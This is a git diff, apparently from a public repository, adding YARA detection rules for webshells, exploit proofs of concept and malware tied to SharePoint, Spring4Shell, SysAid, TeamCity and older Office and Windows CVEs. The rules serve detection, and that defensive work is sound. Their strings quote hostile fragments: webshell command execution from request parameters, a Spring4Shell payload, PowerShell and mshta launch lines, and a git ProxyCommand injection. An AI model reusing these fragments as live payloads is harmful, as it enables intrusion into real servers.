+         or ((uint8(7) < 0x20 or uint8(7) > 0x7E /*non-ASCII*/ ) and uint8(7) != 0x9 /* tab */ and uint8(7) != 0x0D /* carriage return */ and uint8(7) != 0x0A /* new line */)
+      )
+}
+
+rule WEBSHELL_ProxyShell_Exploitation_Nov21_1 {
+   meta:
+      description = "Detects webshells dropped by DropHell malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.deepinstinct.com/blog/do-not-exchange-it-has-a-shell-inside"
+      date = "2021-11-01"
+      score = 85
+      id = "300eaadf-db0c-5591-84fc-abdf7cdd90c1"
+   strings:
+      $s01 = ".LoadXml(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request[" ascii wide
+      $s02 = "new System.IO.MemoryStream()" ascii wide
+      $s03 = "Transform(" ascii wide
+   condition:
+      all of ($s*)
+}
diff --git a/yara-Neo23x0/expl_sharepoint_cve_2023_29357.yar b/yara-Neo23x0/expl_sharepoint_cve_2023_29357.yar
new file mode 100644
index 0000000..b0e4a26
--- /dev/null
+++ b/yara-Neo23x0/expl_sharepoint_cve_2023_29357.yar
@@ -0,0 +1,64 @@
+
+rule LOG_EXPL_SharePoint_CVE_2023_29357_Sep23_1 {
+   meta:
+      description = "Detects log entries that could indicate a successful exploitation of CVE-2023-29357 on Microsoft SharePoint servers with the published Python POC"
+      author = "Florian Roth (with help from @LuemmelSec)"
+      reference = "https://twitter.com/Gi7w0rm/status/1706764212704591953?s=20"
+      date = "2023-09-28"
+      modified = "2023-10-01"
+      score = 70
+      id = "9fa77216-c0d6-55e5-bbcc-adb9438ca456"
+   strings:
+      /* 
+         references:
+         https://x.com/TH3C0DEX/status/1707503935596925048?s=20 
+         https://x.com/theluemmel/status/1707653715627311360?s=20 (plus private chat)
+      */
+      $xr1 = /GET [a-z\.\/_]{0,40}\/web\/(siteusers|currentuser) - (80|443) .{10,200} (python-requests\/[0-9\.]{3,8}|-) [^ ]{1,160} [^4]0[0-9] /
+   condition:
+      $xr1
+}
+
+rule HKTL_EXPL_POC_PY_SharePoint_CVE_2023_29357_Sep23_1 {
+   meta:
+      description = "Detects a Python POC to exploit CVE-2023-29357 on Microsoft SharePoint servers"
+      author = "Florian Roth"
+      reference = "https://github.com/Chocapikk/CVE-2023-29357"
+      date = "2023-10-01"
+      modified = "2023-10-01"
+      score = 80
+      id = "2be524ab-f360-56b8-9ce3-e15036855c67"
+   strings:
+      $x1 = "encoded_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=')"
+   condition:
+      filesize < 30KB and $x1
+}
+
+rule HKTL_EXPL_POC_NET_SharePoint_CVE_2023_29357_Sep23_1 {
+   meta:
+      description = "Detects a C# POC to exploit CVE-2023-29357 on Microsoft SharePoint servers"
+      author = "Florian Roth"
+      reference = "https://github.com/LuemmelSec/CVE-2023-29357"
+      date = "2023-10-01"
+      score = 80
+      id = "aa6aeb00-b162-538c-a670-cbff525dd8f1"
+   strings:
+      $x1 = "{f22d2de0-606b-4d16-98d5-421f3f1ba8bc}" ascii wide
+      $x2 = "{F22D2DE0-606B-4D16-98D5-421F3F1BA8BC}" ascii wide
+
+      $s1 = "Bearer"
+      $s2 = "hashedprooftoken"
+      $s3 = "/_api/web/"
+      $s4 = "X-PROOF_TOKEN"
+      $s5 = "00000003-0000-0ff1-ce00-000000000000"
+      $s6 = "IsSiteAdmin"
+   condition:
+      uint16(0) == 0x5a4d
+      and filesize < 800KB 
+      and (
+         1 of ($x*)
+         or all of ($s*)
+      )
+}
+
+
diff --git a/yara-Neo23x0/expl_spring4shell.yar b/yara-Neo23x0/expl_spring4shell.yar
new file mode 100644
index 0000000..533f650
--- /dev/null
+++ b/yara-Neo23x0/expl_spring4shell.yar
@@ -0,0 +1,50 @@
+/* Old webshell rule from THOR's signature set - donation to the community */ 
+rule WEBSHELL_JSP_Nov21_1 {
+   meta:
+      description = "Detects JSP webshells"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.ic3.gov/Media/News/2021/211117-2.pdf"
+      date = "2021-11-23"
+      score = 70
+      id = "117eed28-c44e-5983-b4c7-b555fc06d923"
+   strings:
+      $x1 = "request.getParameter(\"pwd\")" ascii
+      $x2 = "excuteCmd(request.getParameter(" ascii
+      $x3 = "getRuntime().exec (request.getParameter(" ascii
+      $x4 = "private static final String PW = \"whoami\"" ascii
+   condition:
+      filesize < 400KB and 1 of them
+}
+
+rule EXPL_POC_SpringCore_0day_Indicators_Mar22_1 {
+   meta:
+      description = "Detects indicators found after SpringCore exploitation attempts and in the POC script"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/vxunderground/status/1509170582469943303"
+      date = "2022-03-30"
+      score = 70
+      id = "297e4b57-f831-56e0-a391-1ffbc9a4d438"
+   strings:
+      $x1 = "java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di"
+      $x2 = "?pwd=j&cmd=whoami"
+      $x3 = ".getParameter(%22pwd%22)"
+      $x4 = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7B"
+   condition:
+      1 of them
+}
+
+rule EXPL_POC_SpringCore_0day_Webshell_Mar22_1 {
+   meta:
+      description = "Detects webshell found after SpringCore exploitation attempts POC script"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/vxunderground/status/1509170582469943303"
+      date = "2022-03-30"
+      score = 70
+      id = "e7047c98-3c60-5211-9ad5-2bfdfb35d493"
+   strings:
+      $x1 = ".getInputStream(); int a = -1; byte[] b = new byte[2048];"
+      $x2 = "if(\"j\".equals(request.getParameter(\"pwd\")"
+      $x3 = ".getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();"
+   condition:
+     filesize < 200KB and 1 of them
+}
diff --git a/yara-Neo23x0/expl_sysaid_cve_2023_47246.yar b/yara-Neo23x0/expl_sysaid_cve_2023_47246.yar
new file mode 100644
index 0000000..a719786
--- /dev/null
+++ b/yara-Neo23x0/expl_sysaid_cve_2023_47246.yar
@@ -0,0 +1,59 @@
+
+rule APT_PS1_SysAid_EXPL_ForensicArtifacts_Nov23_1 : SCRIPT {
+   meta:
+      description = "Detects forensic artifacts found in attacks on SysAid on-prem software exploiting CVE-2023-47246"
+      author = "Florian Roth"
+      score = 85
+      reference = "https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification"
+      date = "2023-11-09"
+      id = "df7997d3-9309-58b3-8cd7-de9fea36d3c7"
+   strings:
+      $x1 = "if ($s -match '^(Sophos).*\\.exe\\s') {echo $s; $bp++;}" ascii wide
+      $x2 = "$s=$env:SehCore;$env:SehCore=\"\";Invoke-Expression $s;" ascii wide
+   condition:
+      1 of them
+}
+
+rule MAL_Loader_TurtleLoader_Nov23 {
+   meta:
+      description = "Detects Tutle loader used in attacks against SysAid CVE-2023-47246"
+      author = "Florian Roth"
+      reference = "https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification"
+      date = "2023-11-09"
+      score = 85
+      hash1 = "b5acf14cdac40be590318dee95425d0746e85b1b7b1cbd14da66f21f2522bf4d"
+      id = "c7b5d03d-52c4-59b4-ac69-55e532a21340"
+   strings:
+      $s1 = "No key in args!" ascii fullword
+      $s2 = "Bad data file!" ascii fullword
+      $s3 = "Data file loaded. Running..." ascii
+
+      $op1 = { 48 8d 55 c8 4c 8d 3d ac 8f 00 00 45 33 c9 45 33 d2 4d 8b e7 44 21 0a 45 33 db 4c 8d 3d 16 ec ff ff }
+      $op2 = { 48 d3 e8 0f b6 c8 49 03 cb 49 81 c3 00 01 00 00 45 33 8c 8f a0 e4 00 00 41 83 fa 04 7c c7 41 ff c0 }
+      $op3 = { 48 83 c1 04 48 ff ca 89 41 1c 75 ef 03 f6 48 83 c3 20 48 ff cd 0f 85 77 ff ff ff }
+   condition:
+      uint16(0) == 0x5a4d
+      and filesize < 200KB
+      and 3 of them
+}
+
+rule MAL_Grace_Dec22 {
+    meta:
+      author = "X__Junior"
+      reference = "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/"
+      description = "Detects Grace (aka FlawedGrace and GraceWire) RAT"
+      date = "2022-12-13"
+      hash1 = "a66df3454b8c13f1b92d8b2cf74f5bfcdedfbff41a5e4add62e15277d14dd169"
+      hash2 = "e113a8df3c4845365f924bacf10c00bcc5e17587a204b640852dafca6db20404"
+      score = 70
+      id = "fc2214dc-f1e5-52d7-a9de-88709a03b04e"
+    strings:
+      $sa1 = "Grace finalized, no more library calls allowed." ascii
+      $sa2 = "Socket forcibly closed due to no response to DISCONNECT signal from other side, worker id(%d)" ascii
+      $sa3 = "AVWireCleanupThread" ascii
+      $sa4 = "AVTunnelClientDirectIO" ascii
+      $sa5 = "AVGraceTunnelWriteThread" ascii
+      $sa6 = "AVGraceTunnelClientDirectIO" ascii
+    condition:
+      2 of them
+}
diff --git a/yara-Neo23x0/expl_teamcity_2023_42793.yar b/yara-Neo23x0/expl_teamcity_2023_42793.yar
new file mode 100644
index 0000000..2be4747
--- /dev/null
+++ b/yara-Neo23x0/expl_teamcity_2023_42793.yar
@@ -0,0 +1,34 @@
+
+rule LOG_EXPL_SUSP_TeamCity_CVE_2023_42793_Oct23_1 {
+   meta:
+      description = "Detects log entries that could indicate a successful exploitation of CVE-2023-42793 on TeamCity servers"
+      author = "Florian Roth"
+      reference = "https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis"
+      date = "2023-10-02"
+      score = 70
+      id = "81c04863-72aa-5515-889e-3ef718360cac"
+   strings:
+      $sa1 = "File edited: "
+      $sa2 = "\\TeamCity\\config\\internal.properties by user with id="
+      
+      $sb1 = "s.buildServer.ACTIVITIES.AUDIT - server_file_change: File "
+      $sb2 = "\\TeamCity\\config\\internal.properties was modified by \"user with id"
+   condition:
+      all of ($sa*) or all of ($sb*)
+}
+
+rule LOG_EXPL_SUSP_TeamCity_Oct23_1 {
+   meta:
+      description = "Detects log entries that could indicate a successful exploitation of TeamCity servers"
+      author = "Florian Roth"
+      reference = "https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis"
+      date = "2023-10-02"
+      score = 70
+      id = "4845b40a-cf77-53ae-b2fa-d1ed861153f2"
+   strings:
+      $a1 = "tbrains.buildServer.ACTIVITIES"
+      $s1 = "External process is launched by user user with id"
+      $s2 = ". Command line: cmd.exe \"/c whoami"
+   condition:
+      all of them
+}
diff --git a/yara-Neo23x0/exploit_cve_2014_4076.yar b/yara-Neo23x0/exploit_cve_2014_4076.yar
new file mode 100644
index 0000000..03861b5
--- /dev/null
+++ b/yara-Neo23x0/exploit_cve_2014_4076.yar
@@ -0,0 +1,18 @@
+
+rule CVE_2014_4076_Exploitcode {
+   meta:
+      description = "Detects an exploit code for CVE-2014-4076"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/Neo23x0/yarGen"
+      date = "2018-04-04"
+      hash1 = "44690af85efef2db04c7e8cba7ca0d0e53be1a1432a339570a7d26eec860b8ee"
+      id = "83563dea-63d9-58a9-82ed-275455122571"
+   strings:
+      $x1 = "[+] Created a new cmd.exe process" fullword ascii
+      $x2 = "[+] Modified shellcode" fullword ascii
+      $x3 = "[*] Spawning SYSTEM shell..." fullword ascii
+      $x4 = "[*] MS14-070 (CVE-2014-4076) x86" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and 1 of them
+}
diff --git a/yara-Neo23x0/exploit_cve_2015_1674.yar b/yara-Neo23x0/exploit_cve_2015_1674.yar
new file mode 100644
index 0000000..d2667a7
--- /dev/null
+++ b/yara-Neo23x0/exploit_cve_2015_1674.yar
@@ -0,0 +1,29 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-05-14
+	Identifier: CVE-2015-1674
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule CVE_2015_1674_CNGSYS {
+	meta:
+		description = "Detects exploits for CVE-2015-1674"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.binvul.com/viewthread.php?tid=508"
+		date = "2015-05-14"
+		hash = "af4eb2a275f6bbc2bfeef656642ede9ce04fad36"
+		id = "1161b395-a19e-5aac-8416-8a4e60aeca37"
+	strings:
+		$s1 = "\\Device\\CNG" wide
+		
+		$s2 = "GetProcAddress" fullword ascii
+		$s3 = "LoadLibrary" ascii
+		$s4 = "KERNEL32.dll" fullword ascii
+		$s5 = "ntdll.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 60KB and all of them
+}
+
diff --git a/yara-Neo23x0/exploit_cve_2015_1701.yar b/yara-Neo23x0/exploit_cve_2015_1701.yar
new file mode 100644
index 0000000..2502278
--- /dev/null
+++ b/yara-Neo23x0/exploit_cve_2015_1701.yar
@@ -0,0 +1,29 @@
+
+rule CVE_2015_1701_Taihou {
+	meta:
+		description = "CVE-2015-1701 compiled exploit code"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/W4nU0q"
+		date = "2015-05-13"
+		hash1 = "90d17ebd75ce7ff4f15b2df951572653efe2ea17"
+		hash2 = "acf181d6c2c43356e92d4ee7592700fa01e30ffb"
+		hash3 = "b8aabe12502f7d55ae332905acee80a10e3bc399"
+		hash4 = "d9989a46d590ebc792f14aa6fec30560dfe931b1"
+		hash5 = "63d1d33e7418daf200dc4660fc9a59492ddd50d9"
+		score = 70
+		id = "58250e17-aa46-5451-ae6d-18fb4030f8df"
+	strings:	
+		$s3 = "VirtualProtect" fullword
+		$s4 = "RegisterClass"
+		$s5 = "LoadIcon"
+		$s6 = "PsLookupProcessByProcessId" fullword ascii 
+		$s7 = "LoadLibraryExA" fullword ascii
+		$s8 = "gSharedInfo" fullword
+
+		$w1 = "user32.dll" wide
+		$w2 = "ntdll" wide	
+	condition:
+		uint16(0) == 0x5a4d and filesize < 160KB and all of ($s*) and 1 of ($w*)
+}
+
diff --git a/yara-Neo23x0/exploit_cve_2015_2426.yar b/yara-Neo23x0/exploit_cve_2015_2426.yar
new file mode 100644
index 0000000..3e162a5
--- /dev/null
+++ b/yara-Neo23x0/exploit_cve_2015_2426.yar
@@ -0,0 +1,57 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-21
+	Identifier: MS15-077 MS15-078
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Exploit_MS15_077_078 {
+	meta:
+		description = "MS15-078 / MS15-077 exploit - generic signature"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://code.google.com/p/google-security-research/issues/detail?id=473&can=1&start=200"
+		date = "2015-07-21"
+		hash1 = "18e3e840a5e5b75747d6b961fca66a670e3faef252aaa416a88488967b47ac1c"
+		hash2 = "0b5dc030e73074b18b1959d1cf7177ff510dbc2a0ec2b8bb927936f59eb3d14d"
+		hash3 = "fc609adef44b5c64de029b2b2cff22a6f36b6bdf9463c1bd320a522ed39de5d9"
+		hash4 = "ad6bb982a1ecfe080baf0a2b27950f989c107949b1cf02b6e0907f1a568ece15"
+		id = "57f6db11-9d93-53fd-ab68-c6c3eadae2da"
+	strings:
+		$s1 = "GDI32.DLL" fullword ascii
+		$s2 = "atmfd.dll" fullword wide
+		$s3 = "AddFontMemResourceEx" fullword ascii
+		$s4 = "NamedEscape" fullword ascii
+		$s5 = "CreateBitmap" fullword ascii
+		$s6 = "DeleteObject" fullword ascii
+
+		$op0 = { 83 45 e8 01 eb 07 c7 45 e8 } /* Opcode */
+		$op1 = { 8d 85 24 42 fb ff 89 04 24 e8 80 22 00 00 c7 45 } /* Opcode */
+		$op2 = { eb 54 8b 15 6c 00 4c 00 8d 85 24 42 fb ff 89 44 } /* Opcode */
+		$op3 = { 64 00 88 ff 84 03 70 03 }
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and 5 of ($s*) or 3 of ($op*)
+}
+
+rule Exploit_MS15_077_078_HackingTeam {
+	meta:
+		description = "MS15-078 / MS15-077 exploit - Hacking Team code"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2015-07-21"
+		super_rule = 1
+		hash1 = "ad6bb982a1ecfe080baf0a2b27950f989c107949b1cf02b6e0907f1a568ece15"
+		hash2 = "fc609adef44b5c64de029b2b2cff22a6f36b6bdf9463c1bd320a522ed39de5d9"
+		id = "3bf40dec-c46e-5054-a98e-602049cb1824"
+	strings:
+		$s1 = "\\SystemRoot\\system32\\CI.dll" ascii /* PEStudio Blacklist: strings */
+		$s2 = "\\sysnative\\CI.dll" ascii /* PEStudio Blacklist: strings */
+		$s3 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "CRTDLL.DLL" fullword ascii
+		$s5 = "\\sysnative" ascii /* PEStudio Blacklist: strings */
+		$s6 = "InternetOpenA coolio, trying open %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2500KB and 5 of them
+}
diff --git a/yara-Neo23x0/exploit_cve_2015_2545.yar b/yara-Neo23x0/exploit_cve_2015_2545.yar
new file mode 100644
index 0000000..2f48030
--- /dev/null
+++ b/yara-Neo23x0/exploit_cve_2015_2545.yar
@@ -0,0 +1,16 @@
+
+rule Exp_EPS_CVE20152545 {
+   meta:
+      description = "Detects EPS Word Exploit CVE-2015-2545"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research - ME"
+      date = "2017-07-19"
+      score = 70
+      id = "9a5f0554-b588-5b82-93df-0fdfba2af2da"
+   strings:
+      $s1 = "word/media/image1.eps" ascii
+      $s2 = "-la;7(la+" ascii
+   condition:
+      uint16(0) == 0x4b50 and ( $s1 and #s2 > 20 )
+}
diff --git a/yara-Neo23x0/exploit_cve_2015_5119.yar b/yara-Neo23x0/exploit_cve_2015_5119.yar
new file mode 100644
index 0000000..b95e94d
--- /dev/null
+++ b/yara-Neo23x0/exploit_cve_2015_5119.yar
@@ -0,0 +1,21 @@
+
+rule Flash_CVE_2015_5119_APT3_leg {
+    meta:
+        description = "Exploit Sample CVE-2015-5119"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        score = 70
+        yaraexchange = "No distribution without author's consent"
+        date = "2015-08-01"
+        id = "d9efaea3-0644-501a-990b-665e257beb86"
+    strings:
+        $s0 = "HT_exploit" fullword ascii
+        $s1 = "HT_Exploit" fullword ascii
+        $s2 = "flash_exploit_" ascii
+        $s3 = "exp1_fla/MainTimeline" ascii fullword
+        $s4 = "exp2_fla/MainTimeline" ascii fullword
+        $s5 = "_shellcode_32" ascii
+        $s6 = "todo: unknown 32-bit target" fullword ascii
+    condition:
+        uint16(0) == 0x5746 and 1 of them
+}
diff --git a/yara-Neo23x0/exploit_cve_2017_11882.yar b/yara-Neo23x0/exploit_cve_2017_11882.yar
new file mode 100644
index 0000000..e6027bc
--- /dev/null
+++ b/yara-Neo23x0/exploit_cve_2017_11882.yar
@@ -0,0 +1,101 @@
+rule rtf_cve2017_11882_ole : malicious exploit cve_2017_11882 {
+    meta:
+        author = "John Davison"
+        description = "Attempts to identify the exploit CVE 2017 11882"
+        reference = "https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about"
+        sample = "51cf2a6c0c1a29abca9fd13cb22421da"
+        score = 60
+        //file_name = "re:^stream_[0-9]+_[0-9]+.dat$"
+        id = "b6c59cf1-52e4-5c9e-b3c3-d973d52736e3"
+    strings:
+        $headers = { 1c 00 00 00 02 00 ?? ?? a9 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 01 01 03 ?? }
+        $font = { 0a 01 08 5a 5a } // <-- I think that 5a 5a is the trigger for the buffer overflow
+        //$code = /[\x01-\x7F]{44}/
+        $winexec = { 12 0c 43 00 }
+    condition:
+        all of them and @font > @headers and @winexec == @font + 5 + 44
+}
+
+// same as above but for RTF documents
+rule rtf_cve2017_11882 : malicious exploit cve_2017_1182 {
+    meta:
+        author = "John Davison"
+        description = "Attempts to identify the exploit CVE 2017 11882"
+        reference = "https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about"
+        sample = "51cf2a6c0c1a29abca9fd13cb22421da"
+        score = 60
+        //file_ext = "rtf"
+        id = "b6c59cf1-52e4-5c9e-b3c3-d973d52736e3"
+    strings:
+        $headers = { 31 63 30 30 30 30 30 30  30 32 30 30 ?? ?? ?? ??
+                     61 39 30 30 30 30 30 30  ?? ?? ?? ?? ?? ?? ?? ??
+                     ?? ?? ?? ?? ?? ?? ?? ??  ?? ?? ?? ?? ?? ?? ?? ??
+                     ?? ?? ?? ?? ?? ?? ?? ??  30 33 30 31 30 31 30 33
+                     ?? ?? }
+        $font = { 30 61 30 31 30 38 35 61  35 61 }
+        $winexec = { 31 32 30 63 34 33 30 30 }
+    condition:
+        all of them and @font > @headers and @winexec == @font + ((5 + 44) * 2)
+}
+
+rule packager_cve2017_11882 {
+   meta:
+      author = "Rich Warren"
+      description = "Attempts to exploit CVE-2017-11882 using Packager"
+      reference = "https://github.com/rxwx/CVE-2017-11882/blob/master/packager_exec_CVE-2017-11882.py"
+      score = 60
+      id = "57ff395e-e56a-5e63-bde6-f3cef038fcd6"
+   strings:
+      $font = { 30 61 30 31 30 38 35 61  35 61 }
+      $equation = { 45 71 75 61 74 69 6F 6E 2E 33 }
+      $package = { 50 61 63 6b 61 67 65 }
+      $header_and_shellcode = /03010[0,1][0-9a-fA-F]{108}00/ ascii nocase
+   condition:
+      uint32be(0) == 0x7B5C7274 // RTF header
+      and all of them
+}
+
+rule CVE_2017_11882_RTF {
+   meta:
+      description = "Detects suspicious Microsoft Equation OLE contents as used in CVE-2017-11882"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-02-13"
+      score = 60
+      id = "400689ff-e856-5cbf-a7fa-93f6a8d8dbb9"
+   strings:
+      $x1 = "4d534854412e4558452068747470" /* MSHTA.EXE http */
+      $x2 = "6d736874612e6578652068747470" /* mshta.exe http */
+      $x3 = "6d736874612068747470" /* mshta http */
+      $x4 = "4d534854412068747470" /* MSHTA http */
+
+      $s1 = "4d6963726f736f6674204571756174696f6e20332e30" ascii /* Microsoft Equation 3.0 */
+      $s2 = "4500710075006100740069006f006e0020004e00610074006900760065" ascii /* Equation Native */
+      $s3 = "2e687461000000000000000000000000000000000000000000000" /* .hta .... */
+   condition:
+      ( uint32be(0) == 0x7B5C7274 or uint32be(0) == 0x7B5C2A5C ) /* RTF */
+      and filesize < 300KB and
+      ( 1 of ($x*) or 2 of them )
+}
+
+rule EXP_potential_CVE_2017_11882 {
+    meta:
+      author = "ReversingLabs"
+      reference = "https://www.reversinglabs.com/newsroom/news/reversinglabs-yara-rule-detects-cobalt-strike-payload-exploiting-cve-2017-11882.html"
+      id = "199710e0-5094-5940-ad29-f01383d5d8c2"
+    strings:
+        $docfilemagic = { D0 CF 11 E0 A1 B1 1A E1 }
+        $equation1 = "Equation Native" wide ascii
+        $equation2 = "Microsoft Equation 3.0" wide ascii
+        $mshta = "mshta"
+        $http  = "http://"
+        $https = "https://"
+        $cmd   = "cmd" fullword
+        $pwsh  = "powershell"
+        $exe   = ".exe"
+        $address = { 12 0C 43 00 }
+    condition:
+        uint16(0) == 0xcfd0 and $docfilemagic at 0 and
+        any of ($mshta, $http, $https, $cmd, $pwsh, $exe) and any of ($equation1, $equation2) and $address
+}
diff --git a/yara-Neo23x0/exploit_cve_2017_8759.yar b/yara-Neo23x0/exploit_cve_2017_8759.yar
new file mode 100644
index 0000000..a207013
--- /dev/null
+++ b/yara-Neo23x0/exploit_cve_2017_8759.yar
@@ -0,0 +1,110 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-09-14
+   Identifier: Detects malicious files in relation with CVE-2017-8759
+   Reference: https://github.com/Voulnet/CVE-2017-8759-Exploit-sample
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule CVE_2017_8759_Mal_HTA {
+   meta:
+      description = "Detects malicious files related to CVE-2017-8759 - file cmd.hta"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/Voulnet/CVE-2017-8759-Exploit-sample"
+      date = "2017-09-14"
+      hash1 = "fee2ab286eb542c08fdfef29fabf7796a0a91083a0ee29ebae219168528294b5"
+      id = "e53b5149-fc94-5da5-8e35-7f09a9cd79fd"
+   strings:
+      $x1 = "Error = Process.Create(\"powershell -nop cmd.exe /c" fullword ascii
+   condition:
+      ( uint16(0) == 0x683c and filesize < 1KB and all of them )
+}
+
+rule CVE_2017_8759_Mal_Doc {
+   meta:
+      description = "Detects malicious files related to CVE-2017-8759 - file Doc1.doc"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/Voulnet/CVE-2017-8759-Exploit-sample"
+      date = "2017-09-14"
+      modified = "2023-11-21"
+      hash1 = "6314c5696af4c4b24c3a92b0e92a064aaf04fd56673e830f4d339b8805cc9635"
+      id = "48587c13-7661-5987-8331-732115f7823b"
+   strings:
+      $s1 = "soap:wsdl=http://" ascii wide
+      $s2 = "soap:wsdl=https://" ascii wide
+      $s3 = "soap:wsdl=http%3" ascii wide
+      $s4 = "soap:wsdl=https%3" ascii wide
+
+      $c1 = "Project.ThisDocument.AutoOpen" fullword wide
+   condition:
+      uint16(0) == 0xcfd0 and filesize < 500KB and ( 1 of ($s*) and $c1 )
+}
+
+rule CVE_2017_8759_SOAP_via_JS {
+   meta:
+      description = "Detects SOAP WDSL Download via JavaScript"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/buffaloverflow/status/907728364278087680"
+      date = "2017-09-14"
+      score = 60
+      id = "9e96cea3-4282-5f25-ad37-51bd69258790"
+   strings:
+      $s1 = "GetObject(\"soap:wsdl=https://" ascii wide nocase
+      $s2 = "GetObject(\"soap:wsdl=http://" ascii wide nocase
+   condition:
+      ( filesize < 3KB and 1 of them )
+}
+
+rule CVE_2017_8759_SOAP_Excel {
+   meta:
+      description = "Detects malicious files related to CVE-2017-8759"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/buffaloverflow/status/908455053345869825"
+      date = "2017-09-15"
+      score = 60
+      id = "940ec910-49a4-5271-97e4-8536db271b80"
+   strings:
+      $s1 = "|'soap:wsdl=" ascii wide nocase
+   condition:
+      ( filesize < 300KB and 1 of them )
+}
+
+rule CVE_2017_8759_SOAP_txt {
+   meta:
+      description = "Detects malicious file in releation with CVE-2017-8759 - file exploit.txt"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/Voulnet/CVE-2017-8759-Exploit-sample"
+      date = "2017-09-14"
+      hash1 = "840ad14e29144be06722aff4cc04b377364eeed0a82b49cc30712823838e2444"
+      id = "36474420-4fa9-5264-a46b-bb2434624710"
+   strings:
+      $s1 = /<soap:address location="http[s]?:\/\/[^"]{8,140}.hta"/ ascii wide
+      $s2 = /<soap:address location="http[s]?:\/\/[^"]{8,140}mshta.exe"/ ascii wide
+   condition:
+      ( filesize < 200KB and 1 of them )
+}
+
+rule CVE_2017_8759_WSDL_in_RTF {
+   meta:
+      description = "Detects malicious RTF file related CVE-2017-8759"
+      author = "Security Doggo @xdxdxdxdoa"
+      reference = "https://twitter.com/xdxdxdxdoa/status/908665278199996416"
+      date = "2017-09-15"
+      id = "daaa5489-af96-5a69-b2dd-81406c0a1edc"
+   strings:
+      $doc = "d0cf11e0a1b11ae1"
+      $obj = "\\objupdate"
+      $wsdl = "7700730064006c003d00" nocase
+      $http1 = "68007400740070003a002f002f00" nocase
+      $http2 = "680074007400700073003a002f002f00" nocase
+      $http3 = "6600740070003a002f002f00" nocase
+   condition:
+      uint32be(0) == 0x7B5C7274 and $obj and $doc and $wsdl and 1 of ($http*)
+}
diff --git a/yara-Neo23x0/exploit_cve_2017_9800.yar b/yara-Neo23x0/exploit_cve_2017_9800.yar
new file mode 100644
index 0000000..7f0d6c3
--- /dev/null
+++ b/yara-Neo23x0/exploit_cve_2017_9800.yar
@@ -0,0 +1,17 @@
+
+rule git_CVE_2017_9800_poc {
+   meta:
+      description = "Detects a CVE-2017-9800 exploitation attempt"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/mzbat/status/895811803325898753"
+      date = "2017-08-11"
+      score = 60
+      id = "1692eec4-a9af-5d00-97b8-badbe0ba0711"
+   strings:
+      $s1 = "git clone ssh://-oProxyCommand=" ascii
+      $s2 = "git clone http://-" ascii
+      $s3 = "git clone https://-" ascii
